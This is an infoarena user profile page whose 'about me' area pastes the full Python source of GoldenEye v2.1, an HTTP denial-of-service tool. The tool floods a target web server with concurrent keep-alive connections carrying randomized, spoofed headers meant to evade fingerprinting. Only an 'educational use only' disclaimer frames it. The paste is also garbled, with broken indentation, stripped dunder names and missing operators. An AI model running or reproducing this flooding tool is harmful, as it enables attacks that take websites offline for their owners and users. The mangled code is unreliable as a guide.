Vlad Seba (VladS23)

VladS23
Vezi solutiile trimise
NumeVlad Seba
ContVladS23
Rating0
StatutUtilizator normal
Forumtrimite mesaj privat, vezi activitate

 

Acest utilizator nu si-a personalizat inca pagina de profil. Click aici sa afli cum iti poti personaliza pagina de profil.

Despre mine

HARVARD DROPOUT

Distinctii primite

GOD

Prieteni pe infoarena

nu am

.

#!/usr/bin/env python

"""
$Id: $

@date 2014-02-18
@version 2.1

@TODO Test in python 3.x

LICENSE:
This software is distributed under the GNU General Public License version 3 (GPLv3)

LEGAL NOTICE:
THIS SOFTWARE IS PROVIDED FOR EDUCATIONAL USE ONLY!
IF YOU ENGAGE IN ANY ILLEGAL ACTIVITY
THE AUTHOR DOES NOT TAKE ANY RESPONSIBILITY FOR IT.
BY USING THIS SOFTWARE YOU AGREE WITH THESE TERMS.
"""

from multiprocessing import Process, Manager, Pool
import urlparse, ssl
import sys, getopt, random, time, os

  1. Python version-specific
    if sys.version_info < (3,0):
      # Python 2.x
      import httplib
    HTTPCLIENT = httplib
    else:
      # Python 3.x
      import http.client
    HTTPCLIENT = http.client

####
# Config
####
DEBUG = False
SSLVERIFY = True

####
# Constants
####
METHOD_GET = 'get'
METHOD_POST = 'post'
METHOD_RAND = 'random'

JOIN_TIMEOUT=1.0

DEFAULT_WORKERS=10
DEFAULT_SOCKETS=500

GOLDENEYE_BANNER = 'GoldenEye v2.1 by Jan Seidl <[email protected]>'

USER_AGENT_PARTS = {
'os': {
'linux': {
'name': [ 'Linux x86_64', 'Linux i386' ],
'ext': [ 'X11' ]
},
'windows': {
'name': [ 'Windows NT 6.1', 'Windows NT 6.3', 'Windows NT 5.1', 'Windows NT.6.2' ],
'ext': [ 'WOW64', 'Win64; x64' ]
},
'mac': {
'name': [ 'Macintosh' ],
'ext': [ 'Intel Mac OS X %d_%d_%d' % (random.randint(10, 11), random.randint(0, 9), random.randint(0, 5)) for i in range(1, 10) ]
},
},
'platform': {
'webkit': {
'name': [ 'AppleWebKit/%d.%d' % (random.randint(535, 537), random.randint(1,36)) for i in range(1, 30) ],
'details': [ 'KHTML, like Gecko' ],
'extensions': [ 'Chrome/%d.0.%d.%d Safari/%d.%d' % (random.randint(6, 32), random.randint(100, 2000), random.randint(0, 100), random.randint(535, 537), random.randint(1, 36)) for i in range(1, 30) ] + [ 'Version/%d.%d.%d Safari/%d.%d' % (random.randint(4, 6), random.randint(0, 1), random.randint(0, 9), random.randint(535, 537), random.randint(1, 36)) for i in range(1, 10) ]
},
'iexplorer': {
'browser_info': {
'name': [ 'MSIE 6.0', 'MSIE 6.1', 'MSIE 7.0', 'MSIE 7.0b', 'MSIE 8.0', 'MSIE 9.0', 'MSIE 10.0' ],
'ext_pre': [ 'compatible', 'Windows; U' ],
'ext_post': [ 'Trident/%d.0' % i for i in range(4, 6) ] + [ '.NET CLR %d.%d.%d' % (random.randint(1, 3), random.randint(0, 5), random.randint(1000, 30000)) for i in range(1, 10) ]
}
},
'gecko': {
'name': [ 'Gecko/%d%02d%02d Firefox/%d.0' % (random.randint(2001, 2010), random.randint(1,31), random.randint(1,12) , random.randint(10, 25)) for i in range(1, 30) ],
'details': [],
'extensions': []
}
}
}

####
# GoldenEye Class
####

class GoldenEye(object):

  # Counters
counter = [0, 0]
last_counter = [0, 0]

  # Containers
workersQueue = []
manager = None
useragents = []

  # Properties
url = None

  # Options
nr_workers = DEFAULT_WORKERS
nr_sockets = DEFAULT_SOCKETS
method = METHOD_GET

  def init(self, url):

  # Set URL
self.url = url

  # Initialize Manager
self.manager = Manager()

  # Initialize Counters
self.counter = self.manager.list((0, 0))

  def exit(self):
self.stats()
print "Shutting down GoldenEye"

  def del(self):
self.exit()

  def printHeader(self):

  # Taunt!
print
print GOLDENEYE_BANNER
print

  # Do the fun!
def fire(self):

  self.printHeader()
print "Hitting webserver in mode '{0}' with {1} workers running {2} connections each. Hit CTRL+C to cancel.".format(self.method, self.nr_workers, self.nr_sockets)

  if DEBUG:
print "Starting {0} concurrent workers".format(self.nr_workers)

  # Start workers
for i in range(int(self.nr_workers)):

  try:

  worker = Striker(self.url, self.nr_sockets, self.counter)
worker.useragents = self.useragents
worker.method = self.method

  self.workersQueue.append(worker)
worker.start()
except (Exception):
error("Failed to start worker {0}".format(i))
pass

  if DEBUG:
print "Initiating monitor"
self.monitor()

  def stats(self):

  try:
if self.counter0 > 0 or self.counter1 > 0:

  print "{0} GoldenEye strikes hit. ({1} Failed)".format(self.counter0, self.counter1)

  if self.counter0 > 0 and self.counter1 > 0 and self.last_counter0 == self.counter0 and self.counter1 > self.last_counter1:
print "\tServer may be DOWN!"

self.last_counter0 = self.counter0
self.last_counter1 = self.counter1
except (Exception):
pass # silently ignore

  def monitor(self):
while len(self.workersQueue) > 0:
try:
for worker in self.workersQueue:
if worker is not None and worker.is_alive():
worker.join(JOIN_TIMEOUT)
else:
self.workersQueue.remove(worker)

  self.stats()

  except (KeyboardInterrupt, SystemExit):
print "CTRL+C received. Killing all workers"
for worker in self.workersQueue:
try:
if DEBUG:
print "Killing worker {0}".format(worker.name)
#worker.terminate()
worker.stop()
except Exception, ex:
pass # silently ignore
if DEBUG:
raise
else:
pass

####
# Striker Class
####

class Striker(Process):


# Counters
request_count = 0
failed_count = 0

  # Containers
url = None
host = None
port = 80
ssl = False
referers = []
useragents = []
socks = []
counter = None
nr_socks = DEFAULT_SOCKETS

  # Flags
runnable = True

  # Options
method = METHOD_GET

  def init(self, url, nr_sockets, counter):

  super(Striker, self).__init__()

  self.counter = counter
self.nr_socks = nr_sockets

  parsedUrl = urlparse.urlparse(url)

  if parsedUrl.scheme == 'https':
self.ssl = True

  self.host = parsedUrl.netloc.split(':')0
self.url = parsedUrl.path

  self.port = parsedUrl.port

  if not self.port:
self.port = 80 if not self.ssl else 443

  self.referers = [
'http://www.google.com/',
'http://www.bing.com/',
'http://www.baidu.com/',
'http://www.yandex.com/',
'http://' + self.host + '/'
]

  def del(self):
self.stop()

  #builds random ascii string
def buildblock(self, size):
out_str = ''

  _LOWERCASE = range(97, 122)
_UPPERCASE = range(65, 90)
_NUMERIC  = range(48, 57)

  validChars = _LOWERCASE + _UPPERCASE + _NUMERIC

  for i in range(0, size):
a = random.choice(validChars)
out_str += chr(a)

  return out_str

  def run(self):

  if DEBUG:
print "Starting worker {0}".format(self.name)

  while self.runnable:

  try:

  for i in range(self.nr_socks):

if self.ssl: 
if SSLVERIFY:
c = HTTPCLIENT.HTTPSConnection(self.host, self.port)
else:
c = HTTPCLIENT.HTTPSConnection(self.host, self.port, context=ssl._create_unverified_context()) 
else:
c = HTTPCLIENT.HTTPConnection(self.host, self.port)

  self.socks.append©

  for conn_req in self.socks:

  (url, headers) = self.createPayload()

  method = random.choice([METHOD_GET, METHOD_POST]) if self.method == METHOD_RAND else self.method

  conn_req.request(method.upper(), url, None, headers)

  for conn_resp in self.socks:

  resp = conn_resp.getresponse()
self.incCounter()

  self.closeConnections()

except:
self.incFailed()
if DEBUG:
raise
else:
pass # silently ignore

  if DEBUG:
print "Worker {0} completed run. Sleeping...".format(self.name)

def closeConnections(self):
for conn in self.socks:
try:
conn.close()
except:
pass # silently ignore

  def createPayload(self):

  req_url, headers = self.generateData()

  random_keys = headers.keys()
random.shuffle(random_keys)
random_headers = {}

for header_name in random_keys:
random_headers[header_name] = headers[header_name]

  return (req_url, random_headers)

  def generateQueryString(self, ammount = 1):

  queryString = []

  for i in range(ammount):

  key = self.buildblock(random.randint(3,10))
value = self.buildblock(random.randint(3,20))
element = "{0}={1}".format(key, value)
queryString.append(element)

  return '&'.join(queryString)


def generateData(self):

  returnCode = 0
param_joiner = "?"

  if len(self.url) == 0:
self.url = '/'

  if self.url.count("?") > 0:
param_joiner = "&"

  request_url = self.generateRequestUrl(param_joiner)

  http_headers = self.generateRandomHeaders()

  return (request_url, http_headers)

  def generateRequestUrl(self, param_joiner = '?'):

  return self.url + param_joiner + self.generateQueryString(random.randint(1,5))

  def getUserAgent(self):

  if self.useragents:
return random.choice(self.useragents)

  # Mozilla/[version] ([system and browser information]) [platform] ([platform details]) [extensions]

  ## Mozilla Version
mozilla_version = "Mozilla/5.0" # hardcoded for now, almost every browser is on this version except IE6

  ## System And Browser Information
# Choose random OS
os = USER_AGENT_PARTS['os'][random.choice(USER_AGENT_PARTS['os'].keys())]
os_name = random.choice(os['name'])
sysinfo = os_name

  # Choose random platform
platform = USER_AGENT_PARTS['platform'][random.choice(USER_AGENT_PARTS['platform'].keys())]

  # Get Browser Information if available
if 'browser_info' in platform and platform['browser_info']:
browser = platform['browser_info']

  browser_string = random.choice(browser['name'])

  if 'ext_pre' in browser:
browser_string = "%s; s" (random.choice(browser['ext_pre']), browser_string)

  sysinfo = "%s; s" (browser_string, sysinfo)

  if 'ext_post' in browser:
sysinfo = "%s; s" (sysinfo, random.choice(browser['ext_post']))

  if 'ext' in os and os['ext']:
sysinfo = "%s; s" (sysinfo, random.choice(os['ext']))

  ua_string = "%s (%s)" % (mozilla_version, sysinfo)

  if 'name' in platform and platform['name']:
ua_string = "%s s" (ua_string, random.choice(platform['name']))

  if 'details' in platform and platform['details']:
ua_string = "%s (%s)" % (ua_string, random.choice(platform['details']) if len(platform['details']) > 1 else platform['details']0 )

  if 'extensions' in platform and platform['extensions']:
ua_string = "%s s" (ua_string, random.choice(platform['extensions']))

  return ua_string

  def generateRandomHeaders(self):

  # Random no-cache entries
noCacheDirectives = ['no-cache', 'max-age=0']
random.shuffle(noCacheDirectives)
nrNoCache = random.randint(1, (len(noCacheDirectives)-1))
noCache = ', '.join(noCacheDirectives[:nrNoCache])

  # Random accept encoding
acceptEncoding = ['\'\'','*','identity','gzip','deflate']
random.shuffle(acceptEncoding)
nrEncodings = random.randint(1,len(acceptEncoding)/2)
roundEncodings = acceptEncoding[:nrEncodings]

  http_headers = {
'User-Agent': self.getUserAgent(),
'Cache-Control': noCache,
'Accept-Encoding': ', '.join(roundEncodings),
'Connection': 'keep-alive',
'Keep-Alive': random.randint(1,1000),
'Host': self.host,
}

# Randomly-added headers
# These headers are optional and are
# randomly sent thus making the
# header count random and unfingerprintable
if random.randrange(2) == 0:
# Random accept-charset
acceptCharset = [ 'ISO-8859-1', 'utf-8', 'Windows-1251', 'ISO-8859-2', 'ISO-8859-15', ]
random.shuffle(acceptCharset)
http_headers['Accept-Charset'] = '{0},{1};q={2},*;q={3}'.format(acceptCharset0, acceptCharset1,round(random.random(), 1), round(random.random(), 1))

  if random.randrange(2) == 0:
# Random Referer
url_part = self.buildblock(random.randint(5,10))

  random_referer = random.choice(self.referers) + url_part

if random.randrange(2) == 0:
random_referer = random_referer + '?' + self.generateQueryString(random.randint(1, 10))

  http_headers['Referer'] = random_referer

  if random.randrange(2) == 0:
# Random Content-Trype
http_headers['Content-Type'] = random.choice(['multipart/form-data', 'application/x-url-encoded'])

  if random.randrange(2) == 0:
# Random Cookie
http_headers['Cookie'] = self.generateQueryString(random.randint(1, 5))

  return http_headers

  # Housekeeping
def stop(self):
self.runnable = False
self.closeConnections()
self.terminate()

  # Counter Functions
def incCounter(self):
try:
self.counter0 += 1
except (Exception):
pass

  def incFailed(self):
try:
self.counter1 += 1
except (Exception):
pass

####

####
# Other Functions
####

def usage():
print
print '-----------------------------------------------------------------------------------------------------------'
print
print GOLDENEYE_BANNER
print
print ' USAGE: ./goldeneye.py <url> [OPTIONS]'
print
print ' OPTIONS:'
print '\t Flag\t\t\tDescription\t\t\t\t\t\tDefault'
print '\t -u, --useragents\tFile with user-agents to use\t\t\t\t(default: randomly generated)'
print '\t -w, --workers\t\tNumber of concurrent workers\t\t\t\t(default: {0})'.format(DEFAULT_WORKERS)
print '\t -s, --sockets\t\tNumber of concurrent sockets\t\t\t\t(default: {0})'.format(DEFAULT_SOCKETS)
print '\t -m, --method\t\tHTTP Method to use \'get\' or \'post\' or \'random\'\t\t(default: get)'
print '\t -n, --nosslcheck\tDo not verify SSL Certificate\t\t\t\t(default: True)'
print '\t -d, --debug\t\tEnable Debug Mode [more verbose output]\t\t\t(default: False)'
print '\t -h, --help\t\tShows this help'
print
print '-----------------------------------------------------------------------------------------------------------'


def error(msg):
# print help information and exit:
sys.stderr.write(str(msg+"\n"))
usage()
sys.exit(2)

####
# Main
####

def main():

try:

  if len(sys.argv) < 2:
error('Please supply at least the URL')

  url = sys.argv1

  if url == '-h':
usage()
sys.exit()

  if url[0:4].lower() != 'http':
error("Invalid URL supplied")

  if url == None:
error("No URL supplied")

  opts, args = getopt.getopt(sys.argv[2:], "ndhw:s:m:u:", ["nosslcheck", "debug", "help", "workers", "sockets", "method", "useragents" ])

  workers = DEFAULT_WORKERS
socks = DEFAULT_SOCKETS
method = METHOD_GET

  uas_file = None
useragents = []

  for o, a in opts:
if o in ("-h", "--help"):
usage()
sys.exit()
elif o in ("-u", "--useragents"):
uas_file = a
elif o in ("-s", "--sockets"):
socks = int(a)
elif o in ("-w", "--workers"):
workers = int(a)
elif o in ("-d", "--debug"):
global DEBUG
DEBUG = True
elif o in ("-n", "--nosslcheck"):
global SSLVERIFY
SSLVERIFY = False
elif o in ("-m", "--method"):
if a in (METHOD_GET, METHOD_POST, METHOD_RAND):
method = a
else:
error("method {0} is invalid".format(a))
else:
error("option '"o"' doesn't exists")

  if uas_file:
try:
with open(uas_file) as f:
useragents = f.readlines()
except EnvironmentError:
error("cannot read file {0}".format(uas_file))

  goldeneye = GoldenEye(url)
goldeneye.useragents = useragents
goldeneye.nr_workers = workers
goldeneye.method = method
goldeneye.nr_sockets = socks

  goldeneye.fire()

  except getopt.GetoptError, err:

  # print help information and exit:
sys.stderr.write(str(err))
usage()
sys.exit(2)

if name == "main":
main()